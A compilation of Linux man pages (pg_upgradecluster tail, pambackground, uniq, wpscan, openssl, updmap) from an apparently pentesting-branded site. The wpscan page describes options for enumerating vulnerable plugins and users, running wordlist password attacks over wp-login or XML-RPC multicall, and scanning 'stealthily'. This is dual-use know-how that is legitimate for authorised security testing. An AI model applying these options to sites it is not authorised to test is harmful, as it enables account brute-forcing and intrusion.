By default, the old cluster is moved to a new port, and the new cluster is moved to the original port so clients will see the upgraded cluster. This option disables that.

–rename=new cluster name
Use a different name for the upgraded cluster.

–old-bindir=directory
Passed to pg_upgrade.

–maintenance-db=database
Database to connect to for maintenance queries. The default is template1.

–[no-]start
Start the new database cluster after upgrading. The default is to start the new cluster if the old cluster was running, or if upgrade hook scripts are present.

–keep-on-error
If upgrading fails, the newly created cluster is removed. This option disables that.

HOOK SCRIPTS

Some PostgreSQL extensions like PostGIS need metadata in auxiliary tables which must not be upgraded from the old version, but rather initialized for the new version before copying the table data. For this purpose, extensions (as well as administrators, of course) can drop upgrade hook scripts into /etc/postgresql-common/pg_upgradecluster.d/. Script file names must consist entirely of upper and lower case letters, digits, underscores, and hyphens; in particular, dots (i. e. file extensions) are not allowed.

Scripts in that directory will be called with the following arguments:

<old version> <cluster name> <new version> <phase>

Phases:

init
A virgin cluster of version new version has been created, i. e. this new cluster will already have template1 and postgres, but no user databases. Please note that you should not create tables in this phase, since they will be overwritten by the dump/restore or pg_upgrade operation.

finish
All data from the old version cluster has been dumped/reloaded into the new one. The old cluster still exists, but is not running.

Failing scripts will abort the upgrade. The scripts are called as the user who owns the database.

SEE ALSO

pg_createcluster (8), pg_dropcluster (8), pg_lsclusters (1), pg_wrapper (1)

AUTHORS

Martin Pitt <[email protected]>, Christoph Berg <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

209 - Linux cli command pambackground

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pambackground and provides detailed information about the command pambackground, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pambackground.

.

NAME 🖥️ pambackground 🖥️

create a mask of the background area of an image

SYNOPSIS

pambackground

[netpbmfile]

[-verbose]

Minimum unique abbreviations of options are acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pambackground reads a PNM or PAM image as input. It generates as output a PAM image that identifies the background area of the image (a mask).

To identify the background, pambackground assumes the image is a foreground image, smaller than the total image size, placed over a single-color background. It assumes that foreground image is solid – it does not have holes through which the background can be seen. So in specific, pambackground first identifies the background color, then finds all contiguous pixels of that color in regions touching any edge of the image. Think of it as starting at each of the four edges and moving inward and spreading out as far as possible until it hits pixels of another color (the foreground image).

pambackground identifies the background color as follows: If any 3 corners of the image are the same color, that’s the background color. If not, but 2 corners are the same color, the background color is the color of a pair of identically colored corners in this priority order: top, right, left, bottom. If no two corners have the same color, the background color is the color of the upper left corner.

In a typical photograph, the area that you would consider the background is many shades of a color, so to pambackground it is multiple colors and pambackground will not meaningfully identify the background of your image. To use pambackground in this case, you might use ppmchange to change all similar colors to a single one first. For example, if the photograph is a building against a blue sky, where nothing remotely sky-blue appears in the building, you could use ppmchange to change all pixels within 20% of “SkyBlue” to SkyBlue, then run pambackground on it.

You might even extract the argument for ppmchange from the image in question, using pamgetcolor. In the foregoing example, we knew the background was approximately SkyBlue, but if we didn’t we could just get the color of the top left pixel, in a form suitable for the color arguments of ppmchange like this:

    $ color=$(pamgetcolor 0,0 -infile=/tmp/bodyskl|cut --fields=2 -delim=' ')

A more convenient means of dealing with a multi-shade background is to use pnmquant to produce a version of the image with a very small number of colors. The background would likely then be all one color.

If the pnmquant and ppmchange methods above do not adequately distinguish foreground colors from background colors, you can try a more elaborate method using pnmremap. If you can manually create a palette with one color to which all the background pixels are similar, and other colors to which the foreground pixels are similar, you can use it as input to pnmremap to create a smarter version of what you get with the pnmquant or ppmchange methods, so that pambackground is more likely to separate background from foreground as your eye does.

The PAM that pambackground creates has a single plane, with a maxval of 1. The sample value 1 means background; 0 means foreground. There is no tuple type. Some older programs (but none that are part of Netpbm) don’t know what a PAM is and expect a mask to be in the form of a PGM or PBM image. To convert pambackground’s output to PBM, use pamtopnm -assume. To convert to PGM, use pgmtopgm.

netpbmfile is the file specification of the input file, or - to indicate Standard Input. The default is Standard Input.

A common use for a background mask is with pamcomp. You could replace the entire background (or foreground) of your image with something else.

Another common use is to make an image with the background transparent (in some image format that has a concept of transparency) so that image can be overlaid onto another image later. Netpbm’s converters to image formats that have transparency (e.g. PNG) let you use the mask that pambackground generates to identify the transparent areas for the output. You can create a PAM image with transparency with pamstack.

To simply make a mask of all the areas of a specified color, use ppmcolormask. If you have a unique background color (one that doesn’t occur in the foreground) and know what it is, this can create a background mask in cases that pambackground cannot: where there are see-through holes in the foreground image.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pambackground recognizes the following command line option:

-verbose
Tell interesting facts about the process.

EXAMPLES

    $ pambackground test.ppm | pnminvert >/tmp/bgmask.pgm
    $ pamcomp -alpha=bgmask.pgm test.ppm wallpaper.ppm >output.ppm

    $ pnmquant 5 test.pgm | pambackground test.ppm >/tmp/bgmask.pam

SEE ALSO

ppmcolormask(1) , pamcomp(1) , ppmchange(1) , pnmquant(1) , pnmremap(1) , pamtopnm(1) , pgmtopgm(1) , pamstack(1) , pamgetcolor(1) , pbmmaskd(1) , pnm(1) , pam(1) ,

HISTORY

pambackground was new in Netpbm 10.37 (December 2006).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pambackground.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

210 - Linux cli command uniq

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command uniq and provides detailed information about the command uniq, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the uniq.

NAME 🖥️ uniq 🖥️

report or omit repeated lines

SYNOPSIS

uniq [OPTION]… [INPUT [OUTPUT]]

DESCRIPTION

Filter adjacent matching lines from INPUT (or standard input), writing to OUTPUT (or standard output).

With no options, matching lines are merged to the first occurrence.

Mandatory arguments to long options are mandatory for short options too.

-c, –count
prefix lines by the number of occurrences

-d, –repeated
only print duplicate lines, one for each group

-D
print all duplicate lines

–all-repeated[=METHOD]
like -D, but allow separating groups with an empty line; METHOD={none(default),prepend,separate}

-f, –skip-fields=N
avoid comparing the first N fields

–group[=METHOD]
show all items, separating groups with an empty line; METHOD={separate(default),prepend,append,both}

-i, –ignore-case
ignore differences in case when comparing

-s, –skip-chars=N
avoid comparing the first N characters

-u, –unique
only print unique lines

-z, –zero-terminated
line delimiter is NUL, not newline

-w, –check-chars=N
compare no more than N characters in lines

–help
display this help and exit

–version
output version information and exit

A field is a run of blanks (usually spaces and/or TABs), then non-blank characters. Fields are skipped before chars.

Note: ‘uniq’ does not detect repeated lines unless they are adjacent. You may want to sort the input first, or use ‘sort -u’ without ‘uniq’.

AUTHOR

Written by Richard M. Stallman and David MacKenzie.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

comm(1), join(1), sort(1)

Full documentation <https://www.gnu.org/software/coreutils/uniq>
or available locally via: info ‘(coreutils) uniq invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

211 - Linux cli command wpscan

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wpscan and provides detailed information about the command wpscan, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wpscan.

NAME 🖥️ wpscan 🖥️

WordPress Security Scanner

SYNOPSIS

wpscan [options]

DESCRIPTION

WordPress Security Scanner by the WPScan Team

Sponsored by Sucuri - https://sucuri.net

@_WPScan_, @ethicalhack3r, @erwan_lr, @_FireFart_

OPTIONS

–url URL
The URL of the blog to scan Allowed Protocols: http, https Default Protocol if none provided: http This option is mandatory unless update or help or hh or version is/are supplied

-h, –help
Display the simple help and exit

–hh
Display the full help and exit

–version
Display the version and exit

-v, –verbose
Verbose mode

–[no-]banner
Whether or not to display the banner Default: true

-o, –output FILE
Output to FILE

-f, –format FORMAT
Output results in the format supplied Available choices: cli-no-colour, cli-no-color, json, cli

–detection-mode MODE
Default: mixed Available choices: mixed, passive, aggressive

–user-agent, –ua VALUE

–random-user-agent, –rua
Use a random user-agent for each scan

–http-auth login:password

-t, –max-threads VALUE
The max threads to use Default: 5

–throttle MilliSeconds
Milliseconds to wait before doing another web request. If used, the max threads will be set to 1.

–request-timeout SECONDS
The request timeout in seconds Default: 60

–connect-timeout SECONDS
The connection timeout in seconds Default: 30

–disable-tls-checks
Disables SSL/TLS certificate verification

–proxy protocol://IP:port
Supported protocols depend on the cURL installed

–proxy-auth login:password

–cookie-string COOKIE
Cookie string to use in requests, format: cookie1=value1[; cookie2=value2]

–cookie-jar FILE-PATH
File to read and write cookies Default: /tmp/wpscan/cookie_jar.txt

–force
Do not check if the target is running WordPress

–[no-]update
Whether or not to update the Database

–wp-content-dir DIR

–wp-plugins-dir DIR

-e, –enumerate [OPTS]
Enumeration Process Available Choices:

vp Vulnerable plugins

ap All plugins

p Plugins

vt Vulnerable themes

at All themes

t Themes

tt Timthumbs

cb Config backups

dbe Db exports

u User IDs range. e.g: u1-5 Range separator to use: ‘-’ Value if no argument supplied: 1-10

m Media IDs range. e.g m1-15 Note: Permalink setting must be set to “Plain” for those to be detected Range separator to use: ‘-’ Value if no argument supplied: 1-100

Separator to use between the values: ‘,’ Default: All Plugins, Config Backups Value if no argument supplied: vp,vt,tt,cb,dbe,u,m Incompatible choices (only one of each group/s can be used):

- vp, ap, p - vt, at, t

–exclude-content-based REGEXP_OR_STRING
Exclude all responses matching the Regexp (case insensitive) during parts of the enumeration. Both the headers and body are checked. Regexp delimiters are not required.

–plugins-detection MODE
Use the supplied mode to enumerate Plugins, instead of the global (–detection-mode) mode. Default: passive Available choices: mixed, passive, aggressive

–plugins-version-detection MODE
Use the supplied mode to check plugins versions instead of the –detection-mode or –plugins-detection modes. Default: mixed Available choices: mixed, passive, aggressive

-P, –passwords FILE-PATH
List of passwords to use during the password attack. If no –username/s option supplied, user enumeration will be run.

-U, –usernames LIST
List of usernames to use during the password attack. Examples: ‘a1’, ‘a1,a2,a3’, ‘/tmp/a.txt’

–multicall-max-passwords MAX_PWD
Maximum number of passwords to send by request with XMLRPC multicall Default: 500

–password-attack ATTACK
Force the supplied attack to be used rather than automatically determining one. Available choices: wp-login, xmlrpc, xmlrpc-multicall

–stealthy
Alias for –random-user-agent –detection-mode passive –plugins-version-detection passive

To see full list of options use –hh.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

212 - Linux cli command passwdssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command passwdssl and provides detailed information about the command passwdssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the passwdssl.

NAME 🖥️ passwdssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

213 - Linux cli command updmap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command updmap and provides detailed information about the command updmap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the updmap.

NAME 🖥️ updmap 🖥️

manage TeX font maps
updmap-sys - manage TeX font maps, system-wide
updmap-user - manage TeX font maps, per-user

SYNOPSIS

updmap [-user|-sys] [OPTION] … [COMMAND]
updmap-user [OPTION] … [COMMAND]
updmap-sys [OPTION] … [COMMAND]

DESCRIPTION

updmap version r65932 (2023-02-19 21:49:48 +0100)

Update the default font map files used by pdftex and dvipdfm(x) (pdftex.map), dvips (psfonts.map), and optionally pxdvi, as determined by all configuration files updmap.cfg (usually the ones returned by running “kpsewhich –all updmap.cfg”, but see below).

Among other things, these map files are used to determine which fonts should be used as bitmaps and which as outlines, and to determine which font files are included, typically subsetted, in the PDF or PostScript output.

updmap-sys (or updmap -sys) is intended to affect the system-wide configuration, while updmap-user (or updmap -user) affects personal configuration files only, overriding the system files.

As a consequence, once updmap-user has been run, even a single time, running updmap-sys no longer has any effect. updmap-sys issues a warning about this, since it is rarely desirable. See https://tug.org/texlive/scripts-sys-user.html for details.

By default, the TeX filename database (ls-R) is also updated.

The updmap system is regrettably complicated, for both inherent and historical reasons. A general overview:

- updmap.cfg files are mainly about listing other files, namely the

font-specific .maps, in which each line gives information about a different TeX (.tfm) font.

- updmap reads the updmap.cfg files and then concatenates the

contents of those .map files into the main output files: psfonts.map for dvips and pdftex.map for pdftex and dvipdfmx.

- The updmap.cfg files themselves are created and updated at package

installation time, by the system installer or the package manager or by hand, and not (by default) by updmap.

OPTIONS

–cnffile FILE
read FILE for the updmap configuration (can be given multiple times, in which case all the files are used)

–dvipdfmxoutputdir DIR
specify output directory (dvipdfm(x) syntax)

–dvipsoutputdir DIR
specify output directory (dvips syntax)

–pdftexoutputdir DIR
specify output directory (pdftex syntax)

–pxdvioutputdir DIR
specify output directory (pxdvi syntax)

–outputdir DIR
specify output directory (for all files)

–copy
cp generic files rather than using symlinks

–force
recreate files even if config hasn’t changed

–nomkmap
do not recreate map files

–nohash
do not run mktexlsr (a.k.a. texhash)

–sys
affect system-wide files (equivalent to updmap-sys)

–user
affect personal files (equivalent to updmap-user)

-n, –dry-run
only show the configuration, no output

–quiet, –silent
reduce verbosity

Commands:

–help
show this message and exit

–version
show version information and exit

–showoption OPTION
show the current setting of OPTION

–showoptions OPTION
show possible settings for OPTION

–setoption OPTION VALUE
set OPTION to value; option names below

–setoption OPTION=VALUE
as above, just different syntax

–enable MAPTYPE MAPFILE
add “MAPTYPE MAPFILE” to updmap.cfg, where MAPTYPE is Map, MixedMap, or KanjiMap

–enable Map=MAPFILE
add “Map MAPFILE” to updmap.cfg

–enable MixedMap=MAPFILE
add “MixedMap MAPFILE” to updmap.cfg

–enable KanjiMap=MAPFILE
add “KanjiMap MAPFILE” to updmap.cfg

–disable MAPFILE
disable MAPFILE, of whatever type

–listmaps
list all maps (details below)

–listavailablemaps
list available maps (details below)

–syncwithtrees
disable unavailable map files in updmap.cfg

The main output:

The main output of updmap is the files containing the individual font map lines which the drivers (dvips, pdftex, etc.) read to handle fonts.

The map files for dvips (psfonts.map) and pdftex and dvipdfmx (pdftex.map) are written to TEXMFVAR/fonts/map/updmap/{dvips,pdftex}/.

In addition, information about Kanji fonts is written to TEXMFVAR/fonts/map/updmap/dvipdfmx/kanjix.map, and optionally to TEXMFVAR/fonts/map/updmap/pxdvi/xdvi-ptex.map. These are for Kanji only and are not like other map files. dvipdfmx reads pdftex.map for the map entries for non-Kanji fonts.

If no option is given, so the invocation is just “updmap-user” or “updmap-sys”, these output files are always recreated.

Otherwise, if an option such as –enable or –disable is given, the output files are recreated if the list of enabled map files (from updmap.cfg) has changed. The –force option overrides this, always recreating the output files.

Explanation of the map types:

The normal type is Map.

The only difference between Map and MixedMap is that MixedMap entries are not added to psfonts_pk.map. The purpose is to help users with devices that render Type 1 outline fonts worse than mode-tuned Type 3 bitmap fonts. So, MixedMap is used for fonts that are available as both Type 1 and Metafont.

KanjiMap entries are added to psfonts_t1.map and kanjix.map.

Explanation of the OPTION names for –showoptions, –showoption, –setoption:

dvipsPreferOutline
true,false (default true)

Whether dvips uses bitmaps or outlines, when both are available.

dvipsDownloadBase35
true,false (default true)

Whether dvips includes the standard 35 PostScript fonts in its output.

pdftexDownloadBase14
true,false (default true)

Whether pdftex includes the standard 14 PDF fonts in its output.

pxdviUse
true,false (default false)

Whether maps for pxdvi (Japanese-patched xdvi) are under updmap’s control.

jaEmbed
(any string)

jaVariant
(any string)

scEmbed
(any string)

tcEmbed
(any string)

koEmbed
(any string)

See below.

LW35
URWkb,URW,ADOBEkb,ADOBE (default URWkb)

Adapt the font and file names of the standard 35 PostScript fonts.

URWkb
URW fonts with "berry" filenames    (e.g. uhvbo8ac.pfb)
URW
URW fonts with "vendor" filenames   (e.g. n019064l.pfb)

ADOBEkb
Adobe fonts with “berry” filenames (e.g. phvbo8an.pfb)

ADOBE
Adobe fonts with “vendor” filenames (e.g. hvnbo___.pfb)

These options are only read and acted on by updmap; dvips, pdftex, etc., do not know anything about them. They work by changing the default map file which the programs read, so they can be overridden by specifying command-line options or configuration files to the programs, as explained at the beginning of updmap.cfg.

The options jaEmbed and jaVariant (formerly kanjiEmbed and kanjiVariant) specify special replacements in the map lines. If a map contains the string @jaEmbed@, then this will be replaced by the value of that option; similarly for jaVariant. In this way, users of Japanese TeX can select different fonts to be included in the final output. The counterpart for Simplified Chinese, Traditional Chinese and Korean fonts are scEmbed, tcEmbed and koEmbed respectively.

ENVIRONMENT

Explanation of trees and files normally used:

If –cnffile is specified on the command line (can be given multiple times), its value(s) is(are) used. Otherwise, updmap reads all the updmap.cfg files found by running `kpsewhich -all updmap.cfg’, in the order returned by kpsewhich (which is the order of trees defined in texmf.cnf).

In either case, if multiple updmap.cfg files are found, all the maps mentioned in all the updmap.cfg files are merged.

Thus, if updmap.cfg files are present in all trees, and the default layout is used as shipped with TeX Live on Debian, the following files are read, in the given order.

For updmap-sys:
TEXMFSYSCONFIG /etc/texmf/web2c/updmap.cfg
TEXMFSYSVAR    /var/lib/texmf/web2c/updmap.cfg
TEXMFLOCAL     /usr/local/share/texmf/web2c/updmap.cfg
TEXMFDEBIAN    /usr/share/texmf/web2c/updmap.cfg
TEXMFDIST      /usr/share/texlive/texmf/web2c/updmap.cfg
For updmap-user:
TEXMFCONFIG    $HOME/.texmf-config/web2c/updmap.cfg
TEXMFVAR       $HOME/.texmf-var/web2c/updmap.cfg
TEXMFHOME      $HOME/texmf/web2c/updmap.cfg
TEXMFSYSCONFIG /etc/web2c/updmap.cfg
TEXMFSYSVAR    /var/lib/texmf/web2c/updmap.cfg
TEXMFLOCAL     /usr/local/share/texmf/web2c/updmap.cfg
TEXMFDEBIAN    /usr/share/texmf/web2c/updmap.cfg
TEXMFDIST      /usr/share/texlive/texmf/web2c/updmap.cfg

According to the actions, updmap might write to one of the given files or create a new updmap.cfg, described further below.

Where and which updmap.cfg changes are saved:

When no options are given, the updmap.cfg file(s) are only read, not written. It’s when an option –setoption, –enable or –disable is specified that an updmap.cfg needs to be updated. In this case:

1) If config files are given on the command line, then the first one given is used to save any such changes.

2) If the config files are taken from kpsewhich output, then the algorithm is more complex:

2a) If $TEXMFCONFIG/web2c/updmap.cfg or $TEXMFHOME/web2c/updmap.cfg appears in the list of used files, then the one listed first by kpsewhich –all (equivalently, the one returned by kpsewhich updmap.cfg), is used.

2b) If neither of the above two are present and changes are made, a new config file is created in $TEXMFCONFIG/web2c/updmap.cfg.

In general, the idea is that if the user cannot write to a given config file, a higher-level one can be used. That way, the distribution’s settings can be overridden system-wide using TEXMFLOCAL, and system settings can be overridden again in a particular user’s TEXMFHOME or TEXMFCONFIG.

Resolving multiple definitions of a font:

If a font is defined in more than one map file, then the definition coming from the first-listed updmap.cfg is used. If a font is defined multiple times within the same map file, one is chosen arbitrarily. In both cases a warning is issued.

Disabling maps:

updmap.cfg files with higher priority (listed earlier) can disable maps mentioned in lower priority (listed later) updmap.cfg files by writing, e.g.,

#! Map mapname.map

or

#! MixedMap mapname.map

in the higher-priority updmap.cfg file.
(The #! must be at the

beginning of the line, with at least one space or tab afterward, and whitespace between each word on the list.)

As an example, suppose you have a copy of MathTime Pro fonts and want to disable the Belleek version of the fonts; that is, disable the map belleek.map. You can create the file $TEXMFCONFIG/web2c/updmap.cfg with the content

#! Map belleek.map Map mt-plus.map Map mt-yy.map

and call updmap.

Listing of maps:

The two options –listmaps and –listavailablemaps list all maps defined in any of the updmap.cfg files (for –listmaps), and only those actually found on the system (for –listavailablemaps). The output format is one line per font map, with the following fields separated by tabs: map, type (Map, MixedMap, KanjiMap), status (enabled, disabled), origin (the updmap.cfg file where it is mentioned, or ‘builtin’ for the three basic maps).

In the case of –listmaps there can be one additional fields (again separated by tab) containing ‘(not available)’ for those map files that cannot be found.

updmap-user vs. updmap-sys:

When updmap-sys is run, TEXMFSYSCONFIG and TEXMFSYSVAR are used instead of TEXMFCONFIG and TEXMFVAR, respectively. This is the primary difference between updmap-sys and updmap-user.

Other locations may be used if you give them on the command line, or these trees don’t exist, or you are not using the original TeX Live.

To see the precise locations of the various files that will be read and written, give the -n option (or read the source).

EXAMPLES

The log file is written to TEXMFVAR/web2c/updmap.log.

For step-by-step instructions on making new fonts known to TeX, read https://tug.org/fonts/fontinstall.html. For even more terse instructions, read the beginning of the main updmap.cfg file.

FILES

Configuration and input files:

updmap.cfg
Main configuration file. In texmf-dist/web2c by default, but may be located elsewhere depending on your distribution. Each texmf tree read should have its own updmap.cfg.

dvips35.map
Map file for standard 35 PostScript fonts for use with dvips(1).

pdftex35.map
Map file for standard 35 PostScript fonts for use with pdftex(1).

ps2pk35.map
Map file for standard 35 PostScript fonts for use with ps2pk(1).

Output files:

psfonts.map
For dvips(1). Same as psfonts_t1.map if option dvipsPreferOutline active, else as psfonts_pk.map.

psfonts_pk.map
For dvips(1). Without information from MixedMap files. (Setting of dvipsPreferOutline ignored.)

psfonts_t1.map
For dvips(1). With information from MixedMap files. (Setting of dvipsPreferOutline ignored.)

download35.map
For dvips(1). Always downloads the standard 35 fonts. (Setting of dvipsDownloadBase35 ignored.)

builtin35.map
For dvips(1). Never downloads the standard 35 fonts. (Setting of dvipsDownloadBase35 ignored.)

pdftex.map
For pdftex(1). Same as pdftex_dl14.map if option pdftexDownloadBase14 active, else as pdftex_ndl14.map.

pdftex_dl14.map
For pdftex(1). Always downloads the standard 14 fonts.

pdftex_ndl14.map
For pdftex(1). Never downloads the standard 14 fonts.

ps2pk.map
Similar to psfonts.map file, but forces all fonts to be downloaded, so this map file can be used with xdvi(1) and ps2pk(1).

Configuration files for dvips(1):

config.builtin35
Loads builtin35.map instead of psfonts.map.

config.download35
Loads download35.map instead of psfonts.map.

config.outline
Loads psfonts_t1.map instead of psfonts.map.

config.pdf
Loads psfonts_t1.map instead of psfonts.map and has additional settings for PDF generation.

config.pk
Loads psfonts_pk.map instead of psfonts.map.

config.www
Loads psfonts_t1.map instead of psfonts.map. (For compatibility with old versions.)

config.gstopk
Loads psfonts_t1.map instead of psfonts.map.

REPORTING BUGS

Report bugs to: [email protected]
TeX Live home page: <https://tug.org/texlive/>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

